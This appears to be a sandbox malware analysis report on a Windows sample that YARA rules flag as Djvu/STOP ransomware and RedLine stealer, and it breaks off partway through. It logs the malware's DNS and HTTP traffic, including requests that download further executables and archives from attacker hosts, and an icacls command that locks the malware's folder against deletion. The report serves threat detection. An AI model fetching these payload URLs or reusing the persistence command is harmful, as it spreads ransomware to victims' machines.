Jul 26, 2024 02:04:06.102078915 CEST	49755	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:04:08.032551050 CEST	53	49755	1.1.1.1	192.168.2.10
Jul 26, 2024 02:04:08.032566071 CEST	53	49755	1.1.1.1	192.168.2.10
Jul 26, 2024 02:04:08.032569885 CEST	53	49755	1.1.1.1	192.168.2.10
Jul 26, 2024 02:04:08.032809019 CEST	53	49755	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 02:03:31.059253931 CEST	192.168.2.10	1.1.1.1	0xf06d	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:32.115678072 CEST	192.168.2.10	1.1.1.1	0xf06d	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:32.325722933 CEST	192.168.2.10	1.1.1.1	0x4428	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:33.121043921 CEST	192.168.2.10	1.1.1.1	0xf06d	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:35.137655020 CEST	192.168.2.10	1.1.1.1	0xf06d	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:36.357381105 CEST	192.168.2.10	1.1.1.1	0xf2fe	Standard query (0)	zerit.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:36.359625101 CEST	192.168.2.10	1.1.1.1	0x1251	Standard query (0)	fuyt.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:45.271883011 CEST	192.168.2.10	1.1.1.1	0xb55	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:46.258205891 CEST	192.168.2.10	1.1.1.1	0xb55	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:04:02.071611881 CEST	192.168.2.10	1.1.1.1	0xdd62	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:04:03.086410046 CEST	192.168.2.10	1.1.1.1	0xdd62	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:04:04.101984024 CEST	192.168.2.10	1.1.1.1	0xdd62	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:04:06.102078915 CEST	192.168.2.10	1.1.1.1	0xdd62	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 02:03:32.336303949 CEST	1.1.1.1	192.168.2.10	0x4428	No error (0)	api.2ip.ua		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:32.336303949 CEST	1.1.1.1	192.168.2.10	0x4428	No error (0)	api.2ip.ua		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:36.384011984 CEST	1.1.1.1	192.168.2.10	0x1251	No error (0)	fuyt.org		92.246.89.93	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:36.465230942 CEST	1.1.1.1	192.168.2.10	0xf2fe	No error (0)	zerit.top		92.246.89.93	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:37.018750906 CEST	1.1.1.1	192.168.2.10	0xf06d	No error (0)	ddos.dnsnb8.net		44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:37.018805027 CEST	1.1.1.1	192.168.2.10	0xf06d	No error (0)	ddos.dnsnb8.net		44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:37.018832922 CEST	1.1.1.1	192.168.2.10	0xf06d	No error (0)	ddos.dnsnb8.net		44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:37.018846035 CEST	1.1.1.1	192.168.2.10	0xf06d	No error (0)	ddos.dnsnb8.net		44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:03:49.820863008 CEST	1.1.1.1	192.168.2.10	0xb55	No error (0)	ddos.dnsnb8.net		44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:04:08.032551050 CEST	1.1.1.1	192.168.2.10	0xdd62	Server failure (2)	ddos.dnsnb8.net	none	none	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:04:08.032566071 CEST	1.1.1.1	192.168.2.10	0xdd62	Server failure (2)	ddos.dnsnb8.net	none	none	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:04:08.032569885 CEST	1.1.1.1	192.168.2.10	0xdd62	Server failure (2)	ddos.dnsnb8.net	none	none	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:04:08.032809019 CEST	1.1.1.1	192.168.2.10	0xdd62	Server failure (2)	ddos.dnsnb8.net	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

fuyt.org

zerit.top

ddos.dnsnb8.net:799

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49702	92.246.89.93	80	8112	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:03:36.390818119 CEST	136	OUT	GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49703	92.246.89.93	80	8112	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:03:36.471491098 CEST	89	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zerit.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49704	44.221.84.105	799	7840	C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:03:37.030138016 CEST	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49706	92.246.89.93	80	8168	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:03:39.522488117 CEST	125	OUT	GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	54345	44.221.84.105	799	7824	C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:03:49.979187012 CEST	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	54346	44.221.84.105	799	7824	C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:03:53.328974962 CEST	288	OUT	GET /cj//k2.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	54347	44.221.84.105	799	7824	C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:03:56.169368982 CEST	288	OUT	GET /cj//k3.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	54348	92.246.89.93	80	8112	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:03:57.845603943 CEST	93	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	54349	44.221.84.105	799	7824	C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:04:00.575119019 CEST	288	OUT	GET /cj//k4.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	54350	92.246.89.93	80	8112	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:04:02.873703957 CEST	136	OUT	GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	54351	44.221.84.105	799	7824	C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:04:03.204294920 CEST	288	OUT	GET /cj//k5.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	54352	92.246.89.93	80	8168	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:04:05.983019114 CEST	125	OUT	GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	54354	92.246.89.93	80	8112	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:04:29.328510046 CEST	136	OUT	GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	54355	92.246.89.93	80	8168	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:04:32.451785088 CEST	125	OUT	GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	54357	92.246.89.93	80	8112	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:04:55.796175003 CEST	136	OUT	GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	54358	92.246.89.93	80	8168	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:04:58.890959024 CEST	125	OUT	GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49700	188.114.96.3	443	8012	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 00:03:32 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-26 00:03:33 UTC	893	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 00:03:33 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HzRkf6wxF%2BVuIlFLidaMtggqJc3jnyFkSMUQsD%2FP7i7LeukI%2FoXHGYtMx9%2FW2pvD3pdETk0pm7AIMBf3rq2L3owy9ZrXTi4tbFRZRyJqWoBTOPNbiVlYHTo%2F73VU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a902092fc5519b2-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 00:03:33 UTC	418	IN	Data Raw: 31 39 62 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 Data Ascii: 19b{"ip":"8.46.123.33","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044c
2024-07-26 00:03:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49701	188.114.96.3	443	8112	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 00:03:35 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-26 00:03:35 UTC	893	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 00:03:35 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F%2B33ZLXc%2FfIJZl4OyPMyXZVJrGjNX4%2BZRNFIp4A%2FtiYOsyLD0M5ZvwvScrIhFU6BknAELfdFcZjGFCRrZFbDHnR5YAR2oy7LNVgW2ctQbWYlWjRf3VQFU%2BPpnLIv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9020a3eabd7d08-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 00:03:35 UTC	418	IN	Data Raw: 31 39 62 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 Data Ascii: 19b{"ip":"8.46.123.33","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044c
2024-07-26 00:03:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49705	188.114.96.3	443	8168	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 00:03:38 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-26 00:03:39 UTC	887	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 00:03:39 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ylasAG71bcv2wQzIT7nBWD0IHUjBiTfn6QocdXdAy%2FSvS8hYVN4nHlYBNJO19NJR6o6XvdDqKK2lakKvp5mx1Q3W6i6WIfYf%2Flt4xRIo0mLdtSXTJzzBThsU7TN9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9020b8893e0f9d-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 00:03:39 UTC	418	IN	Data Raw: 31 39 62 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 Data Ascii: 19b{"ip":"8.46.123.33","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044c
2024-07-26 00:03:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	54343	188.114.96.3	443	8044	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 00:03:46 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-26 00:03:47 UTC	891	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 00:03:47 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=39UPPgxovsjWeNF2iKwFg3DoQg3lnkBPYok0zjfWobLy%2BSPpCSch184dOublanzh7W6bqKDUtm4f0tgbqbhF%2Bj%2BKYZH3FDcZAWGGVA1ZMvRrYVQ1uv%2BsyAqlVsBZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9020eabeca190e-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 00:03:47 UTC	418	IN	Data Raw: 31 39 62 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 Data Ascii: 19b{"ip":"8.46.123.33","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044c
2024-07-26 00:03:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	20:03:28
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe"
Imagebase:	0x400000
File size:	812'032 bytes
MD5 hash:	A462CC4BBCFC709D15C578F9EAA6C09F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1312843484.00000000021D9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:03:29
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
Imagebase:	0x600000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 92%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:03:31
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe"
Imagebase:	0x400000
File size:	812'032 bytes
MD5 hash:	A462CC4BBCFC709D15C578F9EAA6C09F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:03:32
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0xed0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:03:33
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Wow64 process (32bit):	true
